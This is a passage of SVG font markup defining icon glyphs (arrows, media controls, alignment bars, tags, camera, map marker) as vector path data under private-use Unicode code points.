<glyph unicode="&#xe023;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM500 500v400h100 v-300h200v-100h-300z" />
<glyph unicode="&#xe024;" d="M-100 0l431 1200h209l-21 -300h162l-20 300h208l431 -1200h-538l-41 400h-242l-40 -400h-539zM488 500h224l-27 300h-170z" />
<glyph unicode="&#xe025;" d="M0 0v400h490l-290 300h200v500h300v-500h200l-290 -300h490v-400h-1100zM813 200h175v100h-175v-100z" />
<glyph unicode="&#xe026;" d="M1 600q0 122 47.5 233t127.5 191t191 127.5t233 47.5t233 -47.5t191 -127.5t127.5 -191t47.5 -233t-47.5 -233t-127.5 -191t-191 -127.5t-233 -47.5t-233 47.5t-191 127.5t-127.5 191t-47.5 233zM188 600q0 -170 121 -291t291 -121t291 121t121 291t-121 291t-291 121 t-291 -121t-121 -291zM350 600h150v300h200v-300h150l-250 -300z" />
<glyph unicode="&#xe027;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM350 600l250 300 l250 -300h-150v-300h-200v300h-150z" />
<glyph unicode="&#xe028;" d="M0 25v475l200 700h800q199 -700 200 -700v-475q0 -11 -7 -18t-18 -7h-1150q-11 0 -18 7t-7 18zM200 500h200l50 -200h300l50 200h200l-97 500h-606z" />
<glyph unicode="&#xe029;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -172 121.5 -293t292.5 -121t292.5 121t121.5 293q0 171 -121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM500 397v401 l297 -200z" />
<glyph unicode="&#xe030;" d="M23 600q0 -118 45.5 -224.5t123 -184t184 -123t224.5 -45.5t224.5 45.5t184 123t123 184t45.5 224.5h-150q0 -177 -125 -302t-302 -125t-302 125t-125 302t125 302t302 125q136 0 246 -81l-146 -146h400v400l-145 -145q-157 122 -355 122q-118 0 -224.5 -45.5t-184 -123 t-123 -184t-45.5 -224.5z" />
<glyph unicode="&#xe031;" d="M23 600q0 118 45.5 224.5t123 184t184 123t224.5 45.5q198 0 355 -122l145 145v-400h-400l147 147q-112 80 -247 80q-177 0 -302 -125t-125 -302h-150zM100 0v400h400l-147 -147q112 -80 247 -80q177 0 302 125t125 302h150q0 -118 -45.5 -224.5t-123 -184t-184 -123 t-224.5 -45.5q-198 0 -355 122z" />
<glyph unicode="&#xe032;" d="M100 0h1100v1200h-1100v-1200zM200 100v900h900v-900h-900zM300 200v100h100v-100h-100zM300 400v100h100v-100h-100zM300 600v100h100v-100h-100zM300 800v100h100v-100h-100zM500 200h500v100h-500v-100zM500 400v100h500v-100h-500zM500 600v100h500v-100h-500z M500 800v100h500v-100h-500z" />
<glyph unicode="&#xe033;" d="M0 100v600q0 41 29.5 70.5t70.5 29.5h100v200q0 82 59 141t141 59h300q82 0 141 -59t59 -141v-200h100q41 0 70.5 -29.5t29.5 -70.5v-600q0 -41 -29.5 -70.5t-70.5 -29.5h-900q-41 0 -70.5 29.5t-29.5 70.5zM400 800h300v150q0 21 -14.5 35.5t-35.5 14.5h-200 q-21 0 -35.5 -14.5t-14.5 -35.5v-150z" />
<glyph unicode="&#xe034;" d="M100 0v1100h100v-1100h-100zM300 400q60 60 127.5 84t127.5 17.5t122 -23t119 -30t110 -11t103 42t91 120.5v500q-40 -81 -101.5 -115.5t-127.5 -29.5t-138 25t-139.5 40t-125.5 25t-103 -29.5t-65 -115.5v-500z" />
<glyph unicode="&#xe035;" d="M0 275q0 -11 7 -18t18 -7h50q11 0 18 7t7 18v300q0 127 70.5 231.5t184.5 161.5t245 57t245 -57t184.5 -161.5t70.5 -231.5v-300q0 -11 7 -18t18 -7h50q11 0 18 7t7 18v300q0 116 -49.5 227t-131 192.5t-192.5 131t-227 49.5t-227 -49.5t-192.5 -131t-131 -192.5 t-49.5 -227v-300zM200 20v460q0 8 6 14t14 6h160q8 0 14 -6t6 -14v-460q0 -8 -6 -14t-14 -6h-160q-8 0 -14 6t-6 14zM800 20v460q0 8 6 14t14 6h160q8 0 14 -6t6 -14v-460q0 -8 -6 -14t-14 -6h-160q-8 0 -14 6t-6 14z" />
<glyph unicode="&#xe036;" d="M0 400h300l300 -200v800l-300 -200h-300v-400zM688 459l141 141l-141 141l71 71l141 -141l141 141l71 -71l-141 -141l141 -141l-71 -71l-141 141l-141 -141z" />
<glyph unicode="&#xe037;" d="M0 400h300l300 -200v800l-300 -200h-300v-400zM700 857l69 53q111 -135 111 -310q0 -169 -106 -302l-67 54q86 110 86 248q0 146 -93 257z" />
<glyph unicode="&#xe038;" d="M0 401v400h300l300 200v-800l-300 200h-300zM702 858l69 53q111 -135 111 -310q0 -170 -106 -303l-67 55q86 110 86 248q0 145 -93 257zM889 951l7 -8q123 -151 123 -344q0 -189 -119 -339l-7 -8l81 -66l6 8q142 178 142 405q0 230 -144 408l-6 8z" />
<glyph unicode="&#xe039;" d="M0 0h500v500h-200v100h-100v-100h-200v-500zM0 600h100v100h400v100h100v100h-100v300h-500v-600zM100 100v300h300v-300h-300zM100 800v300h300v-300h-300zM200 200v100h100v-100h-100zM200 900h100v100h-100v-100zM500 500v100h300v-300h200v-100h-100v-100h-200v100 h-100v100h100v200h-200zM600 0v100h100v-100h-100zM600 1000h100v-300h200v-300h300v200h-200v100h200v500h-600v-200zM800 800v300h300v-300h-300zM900 0v100h300v-100h-300zM900 900v100h100v-100h-100zM1100 200v100h100v-100h-100z" />
<glyph unicode="&#xe040;" d="M0 200h100v1000h-100v-1000zM100 0v100h300v-100h-300zM200 200v1000h100v-1000h-100zM500 0v91h100v-91h-100zM500 200v1000h200v-1000h-200zM700 0v91h100v-91h-100zM800 200v1000h100v-1000h-100zM900 0v91h200v-91h-200zM1000 200v1000h200v-1000h-200z" />
<glyph unicode="&#xe041;" d="M1 700v475q0 10 7.5 17.5t17.5 7.5h474l700 -700l-500 -500zM148 953q0 -42 29 -71q30 -30 71.5 -30t71.5 30q29 29 29 71t-29 71q-30 30 -71.5 30t-71.5 -30q-29 -29 -29 -71z" />
<glyph unicode="&#xe042;" d="M2 700v475q0 11 7 18t18 7h474l700 -700l-500 -500zM148 953q0 -42 30 -71q29 -30 71 -30t71 30q30 29 30 71t-30 71q-29 30 -71 30t-71 -30q-30 -29 -30 -71zM701 1200h100l700 -700l-500 -500l-50 50l450 450z" />
<glyph unicode="&#xe043;" d="M100 0v1025l175 175h925v-1000l-100 -100v1000h-750l-100 -100h750v-1000h-900z" />
<glyph unicode="&#xe044;" d="M200 0l450 444l450 -443v1150q0 20 -14.5 35t-35.5 15h-800q-21 0 -35.5 -15t-14.5 -35v-1151z" />
<glyph unicode="&#xe045;" d="M0 100v700h200l100 -200h600l100 200h200v-700h-200v200h-800v-200h-200zM253 829l40 -124h592l62 124l-94 346q-2 11 -10 18t-18 7h-450q-10 0 -18 -7t-10 -18zM281 24l38 152q2 10 11.5 17t19.5 7h500q10 0 19.5 -7t11.5 -17l38 -152q2 -10 -3.5 -17t-15.5 -7h-600 q-10 0 -15.5 7t-3.5 17z" />
<glyph unicode="&#xe046;" d="M0 200q0 -41 29.5 -70.5t70.5 -29.5h1000q41 0 70.5 29.5t29.5 70.5v600q0 41 -29.5 70.5t-70.5 29.5h-150q-4 8 -11.5 21.5t-33 48t-53 61t-69 48t-83.5 21.5h-200q-41 0 -82 -20.5t-70 -50t-52 -59t-34 -50.5l-12 -20h-150q-41 0 -70.5 -29.5t-29.5 -70.5v-600z M356 500q0 100 72 172t172 72t172 -72t72 -172t-72 -172t-172 -72t-172 72t-72 172zM494 500q0 -44 31 -75t75 -31t75 31t31 75t-31 75t-75 31t-75 -31t-31 -75zM900 700v100h100v-100h-100z" />
<glyph unicode="&#xe047;" d="M53 0h365v66q-41 0 -72 11t-49 38t1 71l92 234h391l82 -222q16 -45 -5.5 -88.5t-74.5 -43.5v-66h417v66q-34 1 -74 43q-18 19 -33 42t-21 37l-6 13l-385 998h-93l-399 -1006q-24 -48 -52 -75q-12 -12 -33 -25t-36 -20l-15 -7v-66zM416 521l178 457l46 -140l116 -317h-340 z" />
<glyph unicode="&#xe048;" d="M100 0v89q41 7 70.5 32.5t29.5 65.5v827q0 28 -1 39.5t-5.5 26t-15.5 21t-29 14t-49 14.5v70h471q120 0 213 -88t93 -228q0 -55 -11.5 -101.5t-28 -74t-33.5 -47.5t-28 -28l-12 -7q8 -3 21.5 -9t48 -31.5t60.5 -58t47.5 -91.5t21.5 -129q0 -84 -59 -156.5t-142 -111 t-162 -38.5h-500zM400 200h161q89 0 153 48.5t64 132.5q0 90 -62.5 154.5t-156.5 64.5h-159v-400zM400 700h139q76 0 130 61.5t54 138.5q0 82 -84 130.5t-239 48.5v-379z" />
<glyph unicode="&#xe049;" d="M200 0v57q77 7 134.5 40.5t65.5 80.5l173 849q10 56 -10 74t-91 37q-6 1 -10.5 2.5t-9.5 2.5v57h425l2 -57q-33 -8 -62 -25.5t-46 -37t-29.5 -38t-17.5 -30.5l-5 -12l-128 -825q-10 -52 14 -82t95 -36v-57h-500z" />
<glyph unicode="&#xe050;" d="M-75 200h75v800h-75l125 167l125 -167h-75v-800h75l-125 -167zM300 900v300h150h700h150v-300h-50q0 29 -8 48.5t-18.5 30t-33.5 15t-39.5 5.5t-50.5 1h-200v-850l100 -50v-100h-400v100l100 50v850h-200q-34 0 -50.5 -1t-40 -5.5t-33.5 -15t-18.5 -30t-8.5 -48.5h-49z " />
<glyph unicode="&#xe051;" d="M33 51l167 125v-75h800v75l167 -125l-167 -125v75h-800v-75zM100 901v300h150h700h150v-300h-50q0 29 -8 48.5t-18 30t-33.5 15t-40 5.5t-50.5 1h-200v-650l100 -50v-100h-400v100l100 50v650h-200q-34 0 -50.5 -1t-39.5 -5.5t-33.5 -15t-18.5 -30t-8 -48.5h-50z" />
<glyph unicode="&#xe052;" d="M0 50q0 -20 14.5 -35t35.5 -15h1100q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-1100q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM0 350q0 -20 14.5 -35t35.5 -15h800q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-800q-21 0 -35.5 -14.5t-14.5 -35.5 v-100zM0 650q0 -20 14.5 -35t35.5 -15h1000q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-1000q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM0 950q0 -20 14.5 -35t35.5 -15h600q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-600q-21 0 -35.5 -14.5 t-14.5 -35.5v-100z" />
<glyph unicode="&#xe053;" d="M0 50q0 -20 14.5 -35t35.5 -15h1100q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-1100q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM0 650q0 -20 14.5 -35t35.5 -15h1100q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-1100q-21 0 -35.5 -14.5t-14.5 -35.5 v-100zM200 350q0 -20 14.5 -35t35.5 -15h700q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-700q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM200 950q0 -20 14.5 -35t35.5 -15h700q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-700q-21 0 -35.5 -14.5 t-14.5 -35.5v-100z" />
<glyph unicode="&#xe054;" d="M0 50v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100q-21 0 -35.5 15t-14.5 35zM100 650v100q0 21 14.5 35.5t35.5 14.5h1000q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1000q-21 0 -35.5 15 t-14.5 35zM300 350v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-800q-21 0 -35.5 15t-14.5 35zM500 950v100q0 21 14.5 35.5t35.5 14.5h600q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-600 q-21 0 -35.5 15t-14.5 35z" />
<glyph unicode="&#xe055;" d="M0 50v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100q-21 0 -35.5 15t-14.5 35zM0 350v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100q-21 0 -35.5 15 t-14.5 35zM0 650v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100q-21 0 -35.5 15t-14.5 35zM0 950v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100 q-21 0 -35.5 15t-14.5 35z" />
<glyph unicode="&#xe056;" d="M0 50v100q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-100q-21 0 -35.5 15t-14.5 35zM0 350v100q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-100q-21 0 -35.5 15 t-14.5 35zM0 650v100q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-100q-21 0 -35.5 15t-14.5 35zM0 950v100q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-100q-21 0 -35.5 15 t-14.5 35zM300 50v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-800q-21 0 -35.5 15t-14.5 35zM300 350v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-800 q-21 0 -35.5 15t-14.5 35zM300 650v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-800q-21 0 -35.5 15t-14.5 35zM300 950v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15 h-800q-21 0 -35.5 15t-14.5 35z" />
<glyph unicode="&#xe057;" d="M-101 500v100h201v75l166 -125l-166 -125v75h-201zM300 0h100v1100h-100v-1100zM500 50q0 -20 14.5 -35t35.5 -15h600q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-600q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM500 350q0 -20 14.5 -35t35.5 -15h300q20 0 35 15t15 35 v100q0 21 -15 35.5t-35 14.5h-300q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM500 650q0 -20 14.5 -35t35.5 -15h500q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-500q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM500 950q0 -20 14.5 -35t35.5 -15h100q20 0 35 15t15 35v100 q0 21 -15 35.5t-35 14.5h-100q-21 0 -35.5 -14.5t-14.5 -35.5v-100z" />
<glyph unicode="&#xe058;" d="M1 50q0 -20 14.5 -35t35.5 -15h600q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-600q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM1 350q0 -20 14.5 -35t35.5 -15h300q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-300q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM1 650 q0 -20 14.5 -35t35.5 -15h500q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-500q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM1 950q0 -20 14.5 -35t35.5 -15h100q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-100q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM801 0v1100h100v-1100 h-100zM934 550l167 -125v75h200v100h-200v75z" />
<glyph unicode="&#xe059;" d="M0 275v650q0 31 22 53t53 22h750q31 0 53 -22t22 -53v-650q0 -31 -22 -53t-53 -22h-750q-31 0 -53 22t-22 53zM900 600l300 300v-600z" />
<glyph unicode="&#xe060;" d="M0 44v1012q0 18 13 31t31 13h1112q19 0 31.5 -13t12.5 -31v-1012q0 -18 -12.5 -31t-31.5 -13h-1112q-18 0 -31 13t-13 31zM100 263l247 182l298 -131l-74 156l293 318l236 -288v500h-1000v-737zM208 750q0 56 39 95t95 39t95 -39t39 -95t-39 -95t-95 -39t-95 39t-39 95z " />
<glyph unicode="&#xe062;" d="M148 745q0 124 60.5 231.5t165 172t226.5 64.5q123 0 227 -63t164.5 -169.5t60.5 -229.5t-73 -272q-73 -114 -166.5 -237t-150.5 -189l-57 -66q-10 9 -27 26t-66.5 70.5t-96 109t-104 135.5t-100.5 155q-63 139 -63 262zM342 772q0 -107 75.5 -182.5t181.5 -75.5 q107 0 182.5 75.5t75.5 182.5t-75.5 182t-182.5 75t-182 -75.5t-75 -181.5z" />
<glyph unicode="&#xe063;" d="M1 600q0 122 47.5 233t127.5 191t191 127.5t233 47.5t233 -47.5t191 -127.5t127.5 -191t47.5 -233t-47.5 -233t-127.5 -191t-191 -127.5t-233 -47.5t-233 47.5t-191 127.5t-127.5 191t-47.5 233zM173 600q0 -177 125.5 -302t301.5 -125v854q-176 0 -301.5 -125 t-125.5 -302z" />
<glyph unicode="&#xe064;" d="M117 406q0 94 34 186t88.5 172.5t112 159t115 177t87.5 194.5q21 -71 57.5 -142.5t76 -130.5t83 -118.5t82 -117t70 -116t50 -125.5t18.5 -136q0 -89 -39 -165.5t-102 -126.5t-140 -79.5t-156 -33.5q-114 6 -211.5 53t-161.5 138.5t-64 210.5zM243 414q14 -82 59.5 -136 t136.5 -80l16 98q-7 6 -18 17t-34 48t-33 77q-15 73 -14 143.5t10 122.5l9 51q-92 -110 -119.5 -185t-12.5 -156z" />
<glyph unicode="&#xe065;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5q366 -6 397 -14l-186 -186h-311q-41 0 -70.5 -29.5t-29.5 -70.5v-500q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v125l200 200v-225q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-165 0 -282.5 117.5 t-117.5 282.5zM436 341l161 50l412 412l-114 113l-405 -405zM995 1015l113 -113l113 113l-21 85l-92 28z" />
<glyph unicode="&#xe066;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5h261l2 -80q-133 -32 -218 -120h-145q-41 0 -70.5 -29.5t-29.5 -70.5v-500q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5l200 153v-53q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-165 0 -282.5 117.5t-117.5 282.5 zM423 524q30 38 81.5 64t103 35.5t99 14t77.5 3.5l29 -1v-209l360 324l-359 318v-216q-7 0 -19 -1t-48 -8t-69.5 -18.5t-76.5 -37t-76.5 -59t-62 -88t-39.5 -121.5z" />
<glyph unicode="&#xe067;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5h300q60 0 127 -23l-178 -177h-349q-41 0 -70.5 -29.5t-29.5 -70.5v-500q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v69l200 200v-169q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-165 0 -282.5 117.5 t-117.5 282.5zM342 632l283 -284l566 567l-136 137l-430 -431l-147 147z" />
<glyph unicode="&#xe068;" d="M0 603l300 296v-198h200v200h-200l300 300l295 -300h-195v-200h200v198l300 -296l-300 -300v198h-200v-200h195l-295 -300l-300 300h200v200h-200v-198z" />
<glyph unicode="&#xe069;" d="M200 50v1000q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-437l500 487v-1100l-500 488v-438q0 -21 -14.5 -35.5t-35.5 -14.5h-100q-21 0 -35.5 14.5t-14.5 35.5z" />
<glyph unicode="&#xe070;" d="M0 50v1000q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-437l500 487v-487l500 487v-1100l-500 488v-488l-500 488v-438q0 -21 -14.5 -35.5t-35.5 -14.5h-100q-21 0 -35.5 14.5t-14.5 35.5z" />
<glyph unicode="&#xe071;" d="M136 550l564 550v-487l500 487v-1100l-500 488v-488z" />
<glyph unicode="&#xe072;" d="M200 0l900 550l-900 550v-1100z" />
<glyph unicode="&#xe073;" d="M200 150q0 -21 14.5 -35.5t35.5 -14.5h200q21 0 35.5 14.5t14.5 35.5v800q0 21 -14.5 35.5t-35.5 14.5h-200q-21 0 -35.5 -14.5t-14.5 -35.5v-800zM600 150q0 -21 14.5 -35.5t35.5 -14.5h200q21 0 35.5 14.5t14.5 35.5v800q0 21 -14.5 35.5t-35.5 14.5h-200 q-21 0 -35.5 -14.5t-14.5 -35.5v-800z" />
<glyph unicode="&#xe074;" d="M200 150q0 -20 14.5 -35t35.5 -15h800q21 0 35.5 15t14.5 35v800q0 21 -14.5 35.5t-35.5 14.5h-800q-21 0 -35.5 -14.5t-14.5 -35.5v-800z" />
<glyph unicode="&#xe075;" d="M0 0v1100l500 -487v487l564 -550l-564 -550v488z" />
<glyph unicode="&#xe076;" d="M0 0v1100l500 -487v487l500 -487v437q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-1000q0 -21 -14.5 -35.5t-35.5 -14.5h-100q-21 0 -35.5 14.5t-14.5 35.5v438l-500 -488v488z" />
<glyph unicode="&#xe077;" d="M300 0v1100l500 -487v437q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-1000q0 -21 -14.5 -35.5t-35.5 -14.5h-100q-21 0 -35.5 14.5t-14.5 35.5v438z" />
<glyph unicode="&#xe078;" d="M100 250v100q0 21 14.5 35.5t35.5 14.5h1000q21 0 35.5 -14.5t14.5 -35.5v-100q0 -21 -14.5 -35.5t-35.5 -14.5h-1000q-21 0 -35.5 14.5t-14.5 35.5zM100 500h1100l-550 564z" />
<glyph unicode="&#xe079;" d="M185 599l592 -592l240 240l-353 353l353 353l-240 240z" />
<glyph unicode="&#xe080;" d="M272 194l353 353l-353 353l241 240l572 -571l21 -22l-1 -1v-1l-592 -591z" />
<glyph unicode="&#xe081;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -300t-217.5 -218t-299.5 -80t-299.5 80t-217.5 218t-80 300zM300 500h200v-200h200v200h200v200h-200v200h-200v-200h-200v-200z" />
<glyph unicode="&#xe082;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -300t-217.5 -218t-299.5 -80t-299.5 80t-217.5 218t-80 300zM300 500h600v200h-600v-200z" />
<glyph unicode="&#xe083;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -300t-217.5 -218t-299.5 -80t-299.5 80t-217.5 218t-80 300zM246 459l213 -213l141 142l141 -142l213 213l-142 141l142 141l-213 212l-141 -141l-141 142l-212 -213l141 -141z" />
<glyph unicode="&#xe084;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -299.5t-217.5 -217.5t-299.5 -80t-299.5 80t-217.5 217.5t-80 299.5zM270 551l276 -277l411 411l-175 174l-236 -236l-102 102z" />
<glyph unicode="&#xe085;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -300t-217.5 -218t-299.5 -80t-299.5 80t-217.5 218t-80 300zM363 700h144q4 0 11.5 -1t11 -1t6.5 3t3 9t1 11t3.5 8.5t3.5 6t5.5 4t6.5 2.5t9 1.5t9 0.5h11.5h12.5q19 0 30 -10t11 -26 q0 -22 -4 -28t-27 -22q-5 -1 -12.5 -3t-27 -13.5t-34 -27t-26.5 -46t-11 -68.5h200q5 3 14 8t31.5 25.5t39.5 45.5t31 69t14 94q0 51 -17.5 89t-42 58t-58.5 32t-58.5 15t-51.5 3q-105 0 -172 -56t-67 -183zM500 300h200v100h-200v-100z" />
<glyph unicode="&#xe086;" d="M3 600q0 162 80 299.5t217.5 217.5t299.5 80t299.5 -80t217.5 -217.5t80 -299.5t-80 -300t-217.5 -218t-299.5 -80t-299.5 80t-217.5 218t-80 300zM400 300h400v100h-100v300h-300v-100h100v-200h-100v-100zM500 800h200v100h-200v-100z" />
<glyph unicode="&#xe087;" d="M0 500v200h194q15 60 36 104.5t55.5 86t88 69t126.5 40.5v200h200v-200q54 -20 113 -60t112.5 -105.5t71.5 -134.5h203v-200h-203q-25 -102 -116.5 -186t-180.5 -117v-197h-200v197q-140 27 -208 102.5t-98 200.5h-194zM290 500q24 -73 79.5 -127.5t130.5 -78.5v206h200 v-206q149 48 201 206h-201v200h200q-25 74 -76 127.5t-124 76.5v-204h-200v203q-75 -24 -130 -77.5t-79 -125.5h209v-200h-210z" />
<glyph unicode="&#xe088;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM356 465l135 135 l-135 135l109 109l135 -135l135 135l109 -109l-135 -135l135 -135l-109 -109l-135 135l-135 -135z" />
<glyph unicode="&#xe089;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM322 537l141 141 l87 -87l204 205l142 -142l-346 -345z" />
<glyph unicode="&#xe090;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -115 62 -215l568 567q-100 62 -216 62q-171 0 -292.5 -121.5t-121.5 -292.5zM391 245q97 -59 209 -59q171 0 292.5 121.5t121.5 292.5 q0 112 -59 209z" />
<glyph unicode="&#xe091;" d="M0 547l600 453v-300h600v-300h-600v-301z" />
<glyph unicode="&#xe092;" d="M0 400v300h600v300l600 -453l-600 -448v301h-600z" />
<glyph unicode="&#xe093;" d="M204 600l450 600l444 -600h-298v-600h-300v600h-296z" />
<glyph unicode="&#xe094;" d="M104 600h296v600h300v-600h298l-449 -600z" />
<glyph unicode="&#xe095;" d="M0 200q6 132 41 238.5t103.5 193t184 138t271.5 59.5v271l600 -453l-600 -448v301q-95 -2 -183 -20t-170 -52t-147 -92.5t-100 -135.5z" />
<glyph unicode="&#xe096;" d="M0 0v400l129 -129l294 294l142 -142l-294 -294l129 -129h-400zM635 777l142 -142l294 294l129 -129v400h-400l129 -129z" />
<glyph unicode="&#xe097;" d="M34 176l295 295l-129 129h400v-400l-129 130l-295 -295zM600 600v400l129 -129l295 295l142 -141l-295 -295l129 -130h-400z" />
<glyph unicode="&#xe101;" d="M23 600q0 118 45.5 224.5t123 184t184 123t224.5 45.5t224.5 -45.5t184 -123t123 -184t45.5 -224.5t-45.5 -224.5t-123 -184t-184 -123t-224.5 -45.5t-224.5 45.5t-184 123t-123 184t-45.5 224.5zM456 851l58 -302q4 -20 21.5 -34.5t37.5 -14.5h54q20 0 37.5 14.5 t21.5 34.5l58 302q4 20 -8 34.5t-33 14.5h-207q-20 0 -32 -14.5t-8 -34.5zM500 300h200v100h-200v-100z" />
<glyph unicode="&#xe102;" d="M0 800h100v-200h400v300h200v-300h400v200h100v100h-111v6t-1 15t-3 18l-34 172q-11 39 -41.5 63t-69.5 24q-32 0 -61 -17l-239 -144q-22 -13 -40 -35q-19 24 -40 36l-238 144q-33 18 -62 18q-39 0 -69.5 -23t-40.5 -61l-35 -177q-2 -8 -3 -18t-1 -15v-6h-111v-100z M100 0h400v400h-400v-400zM200 900q-3 0 14 48t35 96l18 47l214 -191h-281zM700 0v400h400v-400h-400zM731 900l202 197q5 -12 12 -32.5t23 -64t25 -72t7 -28.5h-269z" />
